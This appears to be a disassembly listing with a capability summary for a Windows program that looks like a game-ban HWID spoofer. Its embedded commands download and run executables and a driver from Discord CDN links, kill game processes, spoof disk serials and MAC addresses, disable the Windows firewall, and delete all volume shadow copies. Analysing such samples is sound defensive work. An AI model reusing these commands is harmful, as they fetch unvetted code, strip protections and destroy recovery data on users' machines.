Function at 0x14009d17b
Capabilities:
Capture network configuration via ipconfig
Delete volume shadow copies
Execute command
Self delete

Disassembly:
jmp 0x1401d0570
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14024e085]
call fcn.14009da27
call fcn.14009c451
call fcn.14009c500
lea rcx, str.color_b
call qword [sym.imp.ucrtbased.dll_system]
call fcn.14009d5e0
lea rcx, str.___initializing_n
call fcn.14009cfff
lea rcx, str.taskkill__f__im_EpicGamesLauncher.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__f__im_FortniteClient_Win64_Shipping.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__f__im_OneDrive.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__f__im_RustClient.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__f__im_Origin.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__f__im_r5apex.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_844845198752481307_850973659325399070_map.exe___output_map.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_844845198752481307_850973618002460703_change.sys___output_change.sys__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_844845198752481307_850975180980879390_mac.exe___output_mac.exe__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
call fcn.14009c0c8
lea rcx, str.___initialized_n
call fcn.14009cfff
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009d5e0
call fcn.14009c0c8
lea rcx, str._____repairing_driver_n
call fcn.14009cfff
lea rcx, str.Winmgmt.exe__standalonehost
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.Winmgmt.exe__resetrepository
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.net_stop_Winmgmt
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.net_start_Winmgmt
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str._____Spoofing_Diskdrive..._n
call fcn.14009cfff
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009c0c8
lea rcx, str.______Old_SerialNumber_n
call fcn.14009cfff
lea rcx, str.wmic_diskdrive_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009c0c8
lea rcx, str.map.exe_change.sys
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.____Renameing_driver_n
call fcn.14009cfff
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009c0c8
lea rcx, str.rename_change.sys__random__random__random__random_.sys
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.____Reseting_disk_n
call fcn.14009cfff
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009c0c8
lea rcx, str.start_mac.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.powershell.exe__Reset_PhysicalDisk___nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.del_mac.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.del_map.exe
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009c0c8
lea rcx, str._____New_SerialNumber_n
call fcn.14009cfff
lea rcx, str.wmic_diskdrive_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009c0c8
lea rcx, str._____Spoofing_MAC_Address_n
call fcn.14009cfff
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.NETSH_WINSOCK_RESET
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.NETSH_INT_IP_RESET
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.NETSH_INTERFACE_IPV4_RESET
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.NETSH_INTERFACE_IPV6_RESET
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.NETSH_INTERFACE_TCP_RESET
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.IPCONFIG__RELEASE
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.IPCONFIG__RENEW
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.IPCONFIG__FLUSHDNS
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.NetSh_Advfirewall_set_allprofiles_state_off
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.netsh_winsock_reset
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.net_stop_winmgmt__y__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.vssadmin_delete_shadows__All__Quiet__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
call fcn.14009c0c8
lea rcx, str.___Cleaning_Tracking_Files..._n
call fcn.14009cfff
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_844845198752481307_852127829361164308_clean.bat___output_clean.bat__nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009d82e
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14009c0c8
lea rcx, str.____Press_any_key_to_exit..._n
call fcn.14009cfff
call fcn.14009db76
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret